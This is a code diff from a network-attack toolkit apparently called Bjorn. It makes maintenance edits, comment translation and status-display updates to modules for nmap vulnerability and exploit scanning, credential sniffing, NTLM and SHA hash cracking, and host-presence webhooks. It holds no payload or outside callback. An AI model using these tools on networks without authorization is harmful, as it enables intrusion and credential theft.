meta = {}
|
meta = {}
|
||||||
@@ -63,7 +68,7 @@ class NmapVulnScanner:
|
|||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# 2) Récupérer MAC et TOUS les ports
|
# 2) Get MAC and ALL ports
|
||||||
mac = row.get("MAC Address") or row.get("mac_address") or ""
|
mac = row.get("MAC Address") or row.get("mac_address") or ""
|
||||||
|
|
||||||
ports_str = ""
|
ports_str = ""
|
||||||
@@ -87,13 +92,13 @@ class NmapVulnScanner:
|
|||||||
|
|
||||||
ports = [p.strip() for p in ports_str.split(';') if p.strip()]
|
ports = [p.strip() for p in ports_str.split(';') if p.strip()]
|
||||||
|
|
||||||
# Nettoyage des ports (garder juste le numéro si format 80/tcp)
|
# Strip port format (keep just the number from "80/tcp")
|
||||||
ports = [p.split('/')[0] for p in ports]
|
ports = [p.split('/')[0] for p in ports]
|
||||||
|
|
||||||
self.shared_data.comment_params = {"ip": ip, "ports": str(len(ports))}
|
self.shared_data.comment_params = {"ip": ip, "ports": str(len(ports))}
|
||||||
logger.debug(f"Found {len(ports)} ports for {ip}: {ports[:5]}...")
|
logger.debug(f"Found {len(ports)} ports for {ip}: {ports[:5]}...")
|
||||||
|
|
||||||
# 3) Filtrage "Rescan Only"
|
# 3) "Rescan Only" filtering
|
||||||
if self.shared_data.config.get('vuln_rescan_on_change_only', False):
|
if self.shared_data.config.get('vuln_rescan_on_change_only', False):
|
||||||
if self._has_been_scanned(mac):
|
if self._has_been_scanned(mac):
|
||||||
original_count = len(ports)
|
original_count = len(ports)
|
||||||
@@ -105,24 +110,24 @@ class NmapVulnScanner:
|
|||||||
self.shared_data.bjorn_progress = "100%"
|
self.shared_data.bjorn_progress = "100%"
|
||||||
return 'success'
|
return 'success'
|
||||||
|
|
||||||
# 4) SCAN AVEC PROGRESSION
|
# 4) SCAN WITH PROGRESS
|
||||||
if self.shared_data.orchestrator_should_exit:
|
if self.shared_data.orchestrator_should_exit:
|
||||||
return 'failed'
|
return 'interrupted'
|
||||||
|
|
||||||
logger.info(f"Starting nmap scan on {len(ports)} ports for {ip}")
|
logger.info(f"Starting nmap scan on {len(ports)} ports for {ip}")
|
||||||
findings = self.scan_vulnerabilities(ip, ports)
|
findings = self.scan_vulnerabilities(ip, ports)
|
||||||
|
|
||||||
if self.shared_data.orchestrator_should_exit:
|
if self.shared_data.orchestrator_should_exit:
|
||||||
logger.info("Scan interrupted by user")
|
logger.info("Scan interrupted by user")
|
||||||
return 'failed'
|
return 'interrupted'
|
||||||
|
|
||||||
# 5) Déduplication en mémoire avant persistance
|
# 5) In-memory dedup before persistence
|
||||||
findings = self._deduplicate_findings(findings)
|
findings = self._deduplicate_findings(findings)
|
||||||
|
|
||||||
# 6) Persistance
|
# 6) Persistance
|
||||||
self.save_vulnerabilities(mac, ip, findings)
|
self.save_vulnerabilities(mac, ip, findings)
|
||||||
|
|
||||||
# Finalisation UI
|
# Final UI update
|
||||||
self.shared_data.bjorn_progress = "100%"
|
self.shared_data.bjorn_progress = "100%"
|
||||||
self.shared_data.comment_params = {"ip": ip, "vulns_found": str(len(findings))}
|
self.shared_data.comment_params = {"ip": ip, "vulns_found": str(len(findings))}
|
||||||
logger.success(f"Vuln scan done on {ip}: {len(findings)} entries")
|
logger.success(f"Vuln scan done on {ip}: {len(findings)} entries")
|
||||||
@@ -130,7 +135,7 @@ class NmapVulnScanner:
|
|||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"NmapVulnScanner failed for {ip}: {e}")
|
logger.error(f"NmapVulnScanner failed for {ip}: {e}")
|
||||||
self.shared_data.bjorn_progress = "Error"
|
self.shared_data.bjorn_progress = "0%"
|
||||||
return 'failed'
|
return 'failed'
|
||||||
|
|
||||||
def _has_been_scanned(self, mac: str) -> bool:
|
def _has_been_scanned(self, mac: str) -> bool:
|
||||||
@@ -161,7 +166,7 @@ class NmapVulnScanner:
|
|||||||
|
|
||||||
ttl = int(self.shared_data.config.get('vuln_rescan_ttl_seconds', 0) or 0)
|
ttl = int(self.shared_data.config.get('vuln_rescan_ttl_seconds', 0) or 0)
|
||||||
if ttl > 0:
|
if ttl > 0:
|
||||||
cutoff = datetime.utcnow() - timedelta(seconds=ttl)
|
cutoff = datetime.now(timezone.utc) - timedelta(seconds=ttl)
|
||||||
final_ports = []
|
final_ports = []
|
||||||
for p in ports:
|
for p in ports:
|
||||||
if p not in seen:
|
if p not in seen:
|
||||||
@@ -180,7 +185,7 @@ class NmapVulnScanner:
|
|||||||
# ---------------------------- Helpers -------------------------------- #
|
# ---------------------------- Helpers -------------------------------- #
|
||||||
|
|
||||||
def _deduplicate_findings(self, findings: List[Dict]) -> List[Dict]:
|
def _deduplicate_findings(self, findings: List[Dict]) -> List[Dict]:
|
||||||
"""Supprime les doublons (même port + vuln_id) pour éviter des inserts inutiles."""
|
"""Remove duplicates (same port + vuln_id) to avoid redundant inserts."""
|
||||||
seen: set = set()
|
seen: set = set()
|
||||||
deduped = []
|
deduped = []
|
||||||
for f in findings:
|
for f in findings:
|
||||||
@@ -201,7 +206,7 @@ class NmapVulnScanner:
|
|||||||
return [str(cpe).strip()]
|
return [str(cpe).strip()]
|
||||||
|
|
||||||
def extract_cves(self, text: str) -> List[str]:
|
def extract_cves(self, text: str) -> List[str]:
|
||||||
"""Extrait les CVE via regex pré-compilé (pas de recompilation à chaque appel)."""
|
"""Extract CVEs using pre-compiled regex."""
|
||||||
if not text:
|
if not text:
|
||||||
return []
|
return []
|
||||||
return CVE_RE.findall(str(text))
|
return CVE_RE.findall(str(text))
|
||||||
@@ -210,8 +215,7 @@ class NmapVulnScanner:
|
|||||||
|
|
||||||
def scan_vulnerabilities(self, ip: str, ports: List[str]) -> List[Dict]:
|
def scan_vulnerabilities(self, ip: str, ports: List[str]) -> List[Dict]:
|
||||||
"""
|
"""
|
||||||
Orchestre le scan en lots (batches) pour permettre la mise à jour
|
Orchestrate scanning in batches for progress bar updates.
|
||||||
de la barre de progression.
|
|
||||||
"""
|
"""
|
||||||
all_findings = []
|
all_findings = []
|
||||||
|
|
||||||
@@ -219,10 +223,10 @@ class NmapVulnScanner:
|
|||||||
use_vulners = bool(self.shared_data.config.get('nse_vulners', False))
|
use_vulners = bool(self.shared_data.config.get('nse_vulners', False))
|
||||||
max_ports = int(self.shared_data.config.get('vuln_max_ports', 10 if fast else 20))
|
max_ports = int(self.shared_data.config.get('vuln_max_ports', 10 if fast else 20))
|
||||||
|
|
||||||
# Pause entre batches – important sur Pi Zero pour laisser respirer le CPU
|
# Pause between batches -- important on Pi Zero to let the CPU breathe
|
||||||
batch_pause = float(self.shared_data.config.get('vuln_batch_pause', 0.5))
|
batch_pause = float(self.shared_data.config.get('vuln_batch_pause', 0.5))
|
||||||
|
|
||||||
# Taille de lot réduite par défaut (2 sur Pi Zero, configurable)
|
# Reduced batch size by default (2 on Pi Zero, configurable)
|
||||||
batch_size = int(self.shared_data.config.get('vuln_batch_size', 2))
|
batch_size = int(self.shared_data.config.get('vuln_batch_size', 2))
|
||||||
|
|
||||||
target_ports = ports[:max_ports]
|
target_ports = ports[:max_ports]
|
||||||
@@ -240,7 +244,7 @@ class NmapVulnScanner:
|
|||||||
|
|
||||||
port_str = ','.join(batch)
|
port_str = ','.join(batch)
|
||||||
|
|
||||||
# Mise à jour UI avant le scan du lot
|
# UI update before batch scan
|
||||||
pct = int((processed_count / total) * 100)
|
pct = int((processed_count / total) * 100)
|
||||||
self.shared_data.bjorn_progress = f"{pct}%"
|
self.shared_data.bjorn_progress = f"{pct}%"
|
||||||
self.shared_data.comment_params = {
|
self.shared_data.comment_params = {
|
||||||
@@ -251,7 +255,7 @@ class NmapVulnScanner:
|
|||||||
|
|
||||||
t0 = time.time()
|
t0 = time.time()
|
||||||
|
|
||||||
# Scan du lot (instanciation locale pour éviter la corruption d'état)
|
# Scan batch (local instance to avoid state corruption)
|
||||||
if fast:
|
if fast:
|
||||||
batch_findings = self._scan_fast_cpe_cve(ip, port_str, use_vulners)
|
batch_findings = self._scan_fast_cpe_cve(ip, port_str, use_vulners)
|
||||||
else:
|
else:
|
||||||
@@ -263,11 +267,11 @@ class NmapVulnScanner:
|
|||||||
all_findings.extend(batch_findings)
|
all_findings.extend(batch_findings)
|
||||||
processed_count += len(batch)
|
processed_count += len(batch)
|
||||||
|
|
||||||
# Mise à jour post-lot
|
# Post-batch update
|
||||||
pct = int((processed_count / total) * 100)
|
pct = int((processed_count / total) * 100)
|
||||||
self.shared_data.bjorn_progress = f"{pct}%"
|
self.shared_data.bjorn_progress = f"{pct}%"
|
||||||
|
|
||||||
# Pause CPU entre batches (vital sur Pi Zero)
|
# CPU pause between batches (vital on Pi Zero)
|
||||||
if batch_pause > 0 and processed_count < total:
|
if batch_pause > 0 and processed_count < total:
|
||||||
time.sleep(batch_pause)
|
time.sleep(batch_pause)
|
||||||
|
|
||||||
@@ -275,10 +279,10 @@ class NmapVulnScanner:
|
|||||||
|
|
||||||
def _scan_fast_cpe_cve(self, ip: str, port_list: str, use_vulners: bool) -> List[Dict]:
|
def _scan_fast_cpe_cve(self, ip: str, port_list: str, use_vulners: bool) -> List[Dict]:
|
||||||
vulns: List[Dict] = []
|
vulns: List[Dict] = []
|
||||||
nm = nmap.PortScanner() # Instance locale – pas de partage d'état
|
nm = nmap.PortScanner() # Local instance -- no shared state
|
||||||
|
|
||||||
# --version-light au lieu de --version-all : bien plus rapide sur Pi Zero
|
# --version-light instead of --version-all: much faster on Pi Zero
|
||||||
# --min-rate/--max-rate : évite de saturer CPU et réseau
|
# --min-rate/--max-rate: avoid saturating CPU and network
|
||||||
args = (
|
args = (
|
||||||
"-sV --version-light -T4 "
|
"-sV --version-light -T4 "
|
||||||
"--max-retries 1 --host-timeout 60s --script-timeout 20s "
|
"--max-retries 1 --host-timeout 60s --script-timeout 20s "
|
||||||
@@ -329,14 +333,14 @@ class NmapVulnScanner:
|
|||||||
|
|
||||||
def _scan_heavy(self, ip: str, port_list: str) -> List[Dict]:
|
def _scan_heavy(self, ip: str, port_list: str) -> List[Dict]:
|
||||||
vulnerabilities: List[Dict] = []
|
vulnerabilities: List[Dict] = []
|
||||||
nm = nmap.PortScanner() # Instance locale
|
nm = nmap.PortScanner() # Local instance
|
||||||
|
|
||||||
vuln_scripts = [
|
vuln_scripts = [
|
||||||
'vuln', 'exploit', 'http-vuln-*', 'smb-vuln-*',
|
'vuln', 'exploit', 'http-vuln-*', 'smb-vuln-*',
|
||||||
'ssl-*', 'ssh-*', 'ftp-vuln-*', 'mysql-vuln-*',
|
'ssl-*', 'ssh-*', 'ftp-vuln-*', 'mysql-vuln-*',
|
||||||
]
|
]
|
||||||
script_arg = ','.join(vuln_scripts)
|
script_arg = ','.join(vuln_scripts)
|
||||||
# --min-rate/--max-rate pour ne pas saturer le Pi
|
# --min-rate/--max-rate to avoid saturating the Pi
|
||||||
args = (
|
args = (
|
||||||
f"-sV --script={script_arg} -T3 "
|
f"-sV --script={script_arg} -T3 "
|
||||||
"--script-timeout 30s --min-rate 50 --max-rate 100"
|
"--script-timeout 30s --min-rate 50 --max-rate 100"
|
||||||
@@ -371,7 +375,7 @@ class NmapVulnScanner:
|
|||||||
'details': str(output)[:200]
|
'details': str(output)[:200]
|
||||||
})
|
})
|
||||||
|
|
||||||
# CPE Scan optionnel (sur ce batch)
|
# Optional CPE scan (on this batch)
|
||||||
if bool(self.shared_data.config.get('scan_cpe', False)):
|
if bool(self.shared_data.config.get('scan_cpe', False)):
|
||||||
ports_for_cpe = list(discovered_ports_in_batch)
|
ports_for_cpe = list(discovered_ports_in_batch)
|
||||||
if ports_for_cpe:
|
if ports_for_cpe:
|
||||||
@@ -381,10 +385,10 @@ class NmapVulnScanner:
|
|||||||
|
|
||||||
def scan_cpe(self, ip: str, ports: List[str]) -> List[Dict]:
|
def scan_cpe(self, ip: str, ports: List[str]) -> List[Dict]:
|
||||||
cpe_vulns = []
|
cpe_vulns = []
|
||||||
nm = nmap.PortScanner() # Instance locale
|
nm = nmap.PortScanner() # Local instance
|
||||||
try:
|
try:
|
||||||
port_list = ','.join([str(p) for p in ports])
|
port_list = ','.join([str(p) for p in ports])
|
||||||
# --version-light à la place de --version-all (bien plus rapide)
|
# --version-light instead of --version-all (much faster)
|
||||||
args = "-sV --version-light -T4 --max-retries 1 --host-timeout 45s"
|
args = "-sV --version-light -T4 --max-retries 1 --host-timeout 45s"
|
||||||
nm.scan(hosts=ip, ports=port_list, arguments=args)
|
nm.scan(hosts=ip, ports=port_list, arguments=args)
|
||||||
|
|
||||||
@@ -430,7 +434,7 @@ class NmapVulnScanner:
|
|||||||
if vid_upper.startswith('CVE-'):
|
if vid_upper.startswith('CVE-'):
|
||||||
findings_by_port[port]['cves'].add(vid)
|
findings_by_port[port]['cves'].add(vid)
|
||||||
elif vid_upper.startswith('CPE:'):
|
elif vid_upper.startswith('CPE:'):
|
||||||
# On stocke sans le préfixe "CPE:"
|
# Store without the "CPE:" prefix
|
||||||
findings_by_port[port]['cpes'].add(vid[4:])
|
findings_by_port[port]['cpes'].add(vid[4:])
|
||||||
|
|
||||||
# 1) CVEs
|
# 1) CVEs
|
||||||
|
|||||||
@@ -179,6 +179,10 @@ class OdinEye:
|
|||||||
|
|
||||||
def execute(self, ip, port, row, status_key) -> str:
|
def execute(self, ip, port, row, status_key) -> str:
|
||||||
"""Standard entry point."""
|
"""Standard entry point."""
|
||||||
|
# Reset per-run state to prevent accumulation across reused instances
|
||||||
|
self.credentials.clear()
|
||||||
|
self.statistics.clear()
|
||||||
|
|
||||||
iface = getattr(self.shared_data, "odin_eye_interface", "auto")
|
iface = getattr(self.shared_data, "odin_eye_interface", "auto")
|
||||||
if iface == "auto":
|
if iface == "auto":
|
||||||
iface = None # pyshark handles None as default
|
iface = None # pyshark handles None as default
|
||||||
@@ -186,10 +190,17 @@ class OdinEye:
|
|||||||
bpf_filter = getattr(self.shared_data, "odin_eye_filter", b_args["filter"]["default"])
|
bpf_filter = getattr(self.shared_data, "odin_eye_filter", b_args["filter"]["default"])
|
||||||
max_pkts = int(getattr(self.shared_data, "odin_eye_max_packets", 1000))
|
max_pkts = int(getattr(self.shared_data, "odin_eye_max_packets", 1000))
|
||||||
timeout = int(getattr(self.shared_data, "odin_eye_timeout", 300))
|
timeout = int(getattr(self.shared_data, "odin_eye_timeout", 300))
|
||||||
output_dir = getattr(self.shared_data, "odin_eye_output", "/home/bjorn/Bjorn/data/output/packets")
|
_fallback_dir = os.path.join(getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data"), "output", "packets")
|
||||||
|
output_dir = getattr(self.shared_data, "odin_eye_output", _fallback_dir)
|
||||||
|
|
||||||
logger.info(f"OdinEye: Starting capture on {iface or 'default'} (filter: {bpf_filter})")
|
logger.info(f"OdinEye: Starting capture on {iface or 'default'} (filter: {bpf_filter})")
|
||||||
self.shared_data.log_milestone(b_class, "Startup", f"Sniffing on {iface or 'any'}")
|
self.shared_data.log_milestone(b_class, "Startup", f"Sniffing on {iface or 'any'}")
|
||||||
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"iface": iface or "any", "filter": bpf_filter[:30]}
|
||||||
|
|
||||||
|
if not HAS_PYSHARK:
|
||||||
|
logger.error("OdinEye requires pyshark but it is not installed.")
|
||||||
|
return "failed"
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.capture = pyshark.LiveCapture(interface=iface, bpf_filter=bpf_filter)
|
self.capture = pyshark.LiveCapture(interface=iface, bpf_filter=bpf_filter)
|
||||||
@@ -217,6 +228,8 @@ class OdinEye:
|
|||||||
if packet_count % 50 == 0:
|
if packet_count % 50 == 0:
|
||||||
prog = int((packet_count / max_pkts) * 100)
|
prog = int((packet_count / max_pkts) * 100)
|
||||||
self.shared_data.bjorn_progress = f"{prog}%"
|
self.shared_data.bjorn_progress = f"{prog}%"
|
||||||
|
# EPD live status update
|
||||||
|
self.shared_data.comment_params = {"packets": str(packet_count), "creds": str(len(self.credentials))}
|
||||||
self.shared_data.log_milestone(b_class, "Status", f"Captured {packet_count} packets")
|
self.shared_data.log_milestone(b_class, "Status", f"Captured {packet_count} packets")
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -226,7 +239,7 @@ class OdinEye:
|
|||||||
finally:
|
finally:
|
||||||
if self.capture:
|
if self.capture:
|
||||||
try: self.capture.close()
|
try: self.capture.close()
|
||||||
except: pass
|
except Exception: pass
|
||||||
|
|
||||||
# Save results
|
# Save results
|
||||||
if self.credentials or self.statistics['total_packets'] > 0:
|
if self.credentials or self.statistics['total_packets'] > 0:
|
||||||
@@ -238,6 +251,8 @@ class OdinEye:
|
|||||||
"credentials": self.credentials
|
"credentials": self.credentials
|
||||||
}, f, indent=4)
|
}, f, indent=4)
|
||||||
self.shared_data.log_milestone(b_class, "Complete", f"Capture finished. {len(self.credentials)} creds found.")
|
self.shared_data.log_milestone(b_class, "Complete", f"Capture finished. {len(self.credentials)} creds found.")
|
||||||
|
self.shared_data.bjorn_progress = ""
|
||||||
|
self.shared_data.comment_params = {}
|
||||||
|
|
||||||
return "success"
|
return "success"
|
||||||
|
|
||||||
|
|||||||
@@ -1,11 +1,5 @@
|
|||||||
# actions/presence_join.py
|
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
"""
|
"""presence_join.py - Discord webhook notification when a target host joins the network."""
|
||||||
PresenceJoin — Sends a Discord webhook when the targeted host JOINS the network.
|
|
||||||
- Triggered by the scheduler ONLY on transition OFF->ON (b_trigger="on_join").
|
|
||||||
- Targeting via b_requires (e.g. {"any":[{"mac_is":"AA:BB:..."}]}).
|
|
||||||
- The action does not query anything: it only notifies when called.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
from typing import Optional
|
from typing import Optional
|
||||||
@@ -28,7 +22,20 @@ b_priority = 90
|
|||||||
b_cooldown = 0 # not needed: on_join only fires on join transition
|
b_cooldown = 0 # not needed: on_join only fires on join transition
|
||||||
b_rate_limit = None
|
b_rate_limit = None
|
||||||
b_trigger = "on_join" # <-- Host JOINED the network (OFF -> ON since last scan)
|
b_trigger = "on_join" # <-- Host JOINED the network (OFF -> ON since last scan)
|
||||||
b_requires = {"any":[{"mac_is":"60:57:c8:51:63:fb"}]} # adapt as needed
|
b_requires = None # Configure via DB to restrict to specific MACs if needed
|
||||||
|
b_enabled = 1
|
||||||
|
b_action = "normal"
|
||||||
|
b_category = "notification"
|
||||||
|
b_name = "Presence Join"
|
||||||
|
b_description = "Sends a Discord webhook notification when a host joins the network."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "1.0.0"
|
||||||
|
b_timeout = 30
|
||||||
|
b_max_retries = 1
|
||||||
|
b_stealth_level = 10
|
||||||
|
b_risk_level = "low"
|
||||||
|
b_tags = ["presence", "discord", "notification"]
|
||||||
|
b_icon = "PresenceJoin.png"
|
||||||
|
|
||||||
DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB
|
DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB
|
||||||
|
|
||||||
@@ -60,6 +67,8 @@ class PresenceJoin:
|
|||||||
host = row.get("hostname") or (row.get("hostnames") or "").split(";")[0] if row.get("hostnames") else None
|
host = row.get("hostname") or (row.get("hostnames") or "").split(";")[0] if row.get("hostnames") else None
|
||||||
name = f"{host} ({mac})" if host else mac
|
name = f"{host} ({mac})" if host else mac
|
||||||
ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip()
|
ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip()
|
||||||
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"mac": mac, "host": host or "unknown", "ip": ip_s or "?"}
|
||||||
|
|
||||||
# Add timestamp in UTC
|
# Add timestamp in UTC
|
||||||
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
|
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
|
||||||
|
|||||||
@@ -1,11 +1,5 @@
|
|||||||
# actions/presence_left.py
|
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
"""
|
"""presence_left.py - Discord webhook notification when a target host leaves the network."""
|
||||||
PresenceLeave — Sends a Discord webhook when the targeted host LEAVES the network.
|
|
||||||
- Triggered by the scheduler ONLY on transition ON->OFF (b_trigger="on_leave").
|
|
||||||
- Targeting via b_requires (e.g. {"any":[{"mac_is":"AA:BB:..."}]}).
|
|
||||||
- The action does not query anything: it only notifies when called.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
from typing import Optional
|
from typing import Optional
|
||||||
@@ -28,8 +22,20 @@ b_priority = 90
|
|||||||
b_cooldown = 0 # not needed: on_leave only fires on leave transition
|
b_cooldown = 0 # not needed: on_leave only fires on leave transition
|
||||||
b_rate_limit = None
|
b_rate_limit = None
|
||||||
b_trigger = "on_leave" # <-- Host LEFT the network (ON -> OFF since last scan)
|
b_trigger = "on_leave" # <-- Host LEFT the network (ON -> OFF since last scan)
|
||||||
b_requires = {"any":[{"mac_is":"60:57:c8:51:63:fb"}]} # adapt as needed
|
b_requires = None # Configure via DB to restrict to specific MACs if needed
|
||||||
b_enabled = 1
|
b_enabled = 1
|
||||||
|
b_action = "normal"
|
||||||
|
b_category = "notification"
|
||||||
|
b_name = "Presence Leave"
|
||||||
|
b_description = "Sends a Discord webhook notification when a host leaves the network."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "1.0.0"
|
||||||
|
b_timeout = 30
|
||||||
|
b_max_retries = 1
|
||||||
|
b_stealth_level = 10
|
||||||
|
b_risk_level = "low"
|
||||||
|
b_tags = ["presence", "discord", "notification"]
|
||||||
|
b_icon = "PresenceLeave.png"
|
||||||
|
|
||||||
DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB
|
DISCORD_WEBHOOK_URL = "" # Configure via shared_data or DB
|
||||||
|
|
||||||
@@ -60,6 +66,8 @@ class PresenceLeave:
|
|||||||
mac = row.get("MAC Address") or row.get("mac_address") or "MAC"
|
mac = row.get("MAC Address") or row.get("mac_address") or "MAC"
|
||||||
host = row.get("hostname") or (row.get("hostnames") or "").split(";")[0] if row.get("hostnames") else None
|
host = row.get("hostname") or (row.get("hostnames") or "").split(";")[0] if row.get("hostnames") else None
|
||||||
ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip()
|
ip_s = (ip or (row.get("IPs") or "").split(";")[0] or "").strip()
|
||||||
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"mac": mac, "host": host or "unknown", "ip": ip_s or "?"}
|
||||||
|
|
||||||
# Add timestamp in UTC
|
# Add timestamp in UTC
|
||||||
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
|
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
|
||||||
|
|||||||
@@ -82,7 +82,11 @@ class RuneCracker:
|
|||||||
return hashlib.sha512(password.encode()).hexdigest()
|
return hashlib.sha512(password.encode()).hexdigest()
|
||||||
elif h_type == 'ntlm':
|
elif h_type == 'ntlm':
|
||||||
# NTLM is MD4(UTF-16LE(password))
|
# NTLM is MD4(UTF-16LE(password))
|
||||||
|
try:
|
||||||
return hashlib.new('md4', password.encode('utf-16le')).hexdigest()
|
return hashlib.new('md4', password.encode('utf-16le')).hexdigest()
|
||||||
|
except ValueError:
|
||||||
|
# MD4 not available in this Python build (e.g., FIPS mode)
|
||||||
|
return None
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.debug(f"Hashing error ({h_type}): {e}")
|
logger.debug(f"Hashing error ({h_type}): {e}")
|
||||||
return None
|
return None
|
||||||
@@ -107,6 +111,8 @@ class RuneCracker:
|
|||||||
}
|
}
|
||||||
logger.success(f"Cracked {h_type}: {hv[:8]}... -> {password}")
|
logger.success(f"Cracked {h_type}: {hv[:8]}... -> {password}")
|
||||||
self.shared_data.log_milestone(b_class, "Cracked", f"{h_type} found!")
|
self.shared_data.log_milestone(b_class, "Cracked", f"{h_type} found!")
|
||||||
|
# EPD live status update
|
||||||
|
self.shared_data.comment_params = {"hashes": str(len(self.hashes)), "cracked": str(len(self.cracked))}
|
||||||
|
|
||||||
progress.advance()
|
progress.advance()
|
||||||
|
|
||||||
@@ -115,7 +121,8 @@ class RuneCracker:
|
|||||||
input_file = str(getattr(self.shared_data, "rune_cracker_input", ""))
|
input_file = str(getattr(self.shared_data, "rune_cracker_input", ""))
|
||||||
wordlist_path = str(getattr(self.shared_data, "rune_cracker_wordlist", ""))
|
wordlist_path = str(getattr(self.shared_data, "rune_cracker_wordlist", ""))
|
||||||
self.hash_type = getattr(self.shared_data, "rune_cracker_type", None)
|
self.hash_type = getattr(self.shared_data, "rune_cracker_type", None)
|
||||||
output_dir = getattr(self.shared_data, "rune_cracker_output", "/home/bjorn/Bjorn/data/output/hashes")
|
_fallback_dir = os.path.join(getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data"), "output", "hashes")
|
||||||
|
output_dir = getattr(self.shared_data, "rune_cracker_output", _fallback_dir)
|
||||||
|
|
||||||
if not input_file or not os.path.exists(input_file):
|
if not input_file or not os.path.exists(input_file):
|
||||||
# Fallback: Check for latest odin_recon or other hashes if running in generic mode
|
# Fallback: Check for latest odin_recon or other hashes if running in generic mode
|
||||||
@@ -127,6 +134,8 @@ class RuneCracker:
|
|||||||
logger.error(f"Input file not found: {input_file}")
|
logger.error(f"Input file not found: {input_file}")
|
||||||
return "failed"
|
return "failed"
|
||||||
|
|
||||||
|
# Reset per-run state to prevent accumulation across reused instances
|
||||||
|
self.cracked.clear()
|
||||||
# Load hashes
|
# Load hashes
|
||||||
self.hashes.clear()
|
self.hashes.clear()
|
||||||
try:
|
try:
|
||||||
@@ -150,6 +159,8 @@ class RuneCracker:
|
|||||||
|
|
||||||
logger.info(f"RuneCracker: Loaded {len(self.hashes)} hashes. Starting engine...")
|
logger.info(f"RuneCracker: Loaded {len(self.hashes)} hashes. Starting engine...")
|
||||||
self.shared_data.log_milestone(b_class, "Initialization", f"Loaded {len(self.hashes)} hashes")
|
self.shared_data.log_milestone(b_class, "Initialization", f"Loaded {len(self.hashes)} hashes")
|
||||||
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"hashes": str(len(self.hashes)), "cracked": "0"}
|
||||||
|
|
||||||
# Prepare password plan
|
# Prepare password plan
|
||||||
dict_passwords = []
|
dict_passwords = []
|
||||||
@@ -166,11 +177,12 @@ class RuneCracker:
|
|||||||
progress = ProgressTracker(self.shared_data, len(all_candidates))
|
progress = ProgressTracker(self.shared_data, len(all_candidates))
|
||||||
self.shared_data.log_milestone(b_class, "Bruteforce", f"Testing {len(all_candidates)} candidates")
|
self.shared_data.log_milestone(b_class, "Bruteforce", f"Testing {len(all_candidates)} candidates")
|
||||||
|
|
||||||
|
try:
|
||||||
try:
|
try:
|
||||||
with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
|
with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
|
||||||
for pwd in all_candidates:
|
for pwd in all_candidates:
|
||||||
if self.shared_data.orchestrator_should_exit:
|
if self.shared_data.orchestrator_should_exit:
|
||||||
executor.shutdown(wait=False)
|
executor.shutdown(wait=False, cancel_futures=True)
|
||||||
return "interrupted"
|
return "interrupted"
|
||||||
executor.submit(self._crack_password_worker, pwd, progress)
|
executor.submit(self._crack_password_worker, pwd, progress)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -195,6 +207,9 @@ class RuneCracker:
|
|||||||
logger.info("Cracking finished. No matches found.")
|
logger.info("Cracking finished. No matches found.")
|
||||||
self.shared_data.log_milestone(b_class, "Finished", "No passwords found")
|
self.shared_data.log_milestone(b_class, "Finished", "No passwords found")
|
||||||
return "success" # Still success even if 0 cracked, as it finished the task
|
return "success" # Still success even if 0 cracked, as it finished the task
|
||||||
|
finally:
|
||||||
|
self.shared_data.bjorn_progress = ""
|
||||||
|
self.shared_data.comment_params = {}
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
# Minimal CLI for testing
|
# Minimal CLI for testing
|
||||||
|
|||||||
@@ -1,13 +1,7 @@
|
|||||||
# scanning.py – Network scanner (DB-first, no stubs)
|
"""scanning.py - Network scanner: host discovery, MAC/hostname resolution, and port scanning.
|
||||||
# - Host discovery (nmap -sn -PR)
|
|
||||||
# - Resolve MAC/hostname (ThreadPoolExecutor) -> DB (hosts table)
|
DB-first design - all results go straight to SQLite. RPi Zero optimized.
|
||||||
# - Port scan (ThreadPoolExecutor) -> DB (merge ports by MAC)
|
"""
|
||||||
# - Mark alive=0 for hosts not seen this run
|
|
||||||
# - Update stats (stats table)
|
|
||||||
# - Light logging (milestones) without flooding
|
|
||||||
# - WAL checkpoint(TRUNCATE) + PRAGMA optimize at end of scan
|
|
||||||
# - No DB insert without a real MAC. Unresolved IPs are kept in-memory.
|
|
||||||
# - RPi Zero optimized: bounded thread pools, reduced retries, adaptive concurrency
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
@@ -38,6 +32,18 @@ b_priority = 1
|
|||||||
b_action = "global"
|
b_action = "global"
|
||||||
b_trigger = "on_interval:180"
|
b_trigger = "on_interval:180"
|
||||||
b_requires = '{"max_concurrent": 1}'
|
b_requires = '{"max_concurrent": 1}'
|
||||||
|
b_enabled = 1
|
||||||
|
b_timeout = 300
|
||||||
|
b_max_retries = 1
|
||||||
|
b_stealth_level = 3
|
||||||
|
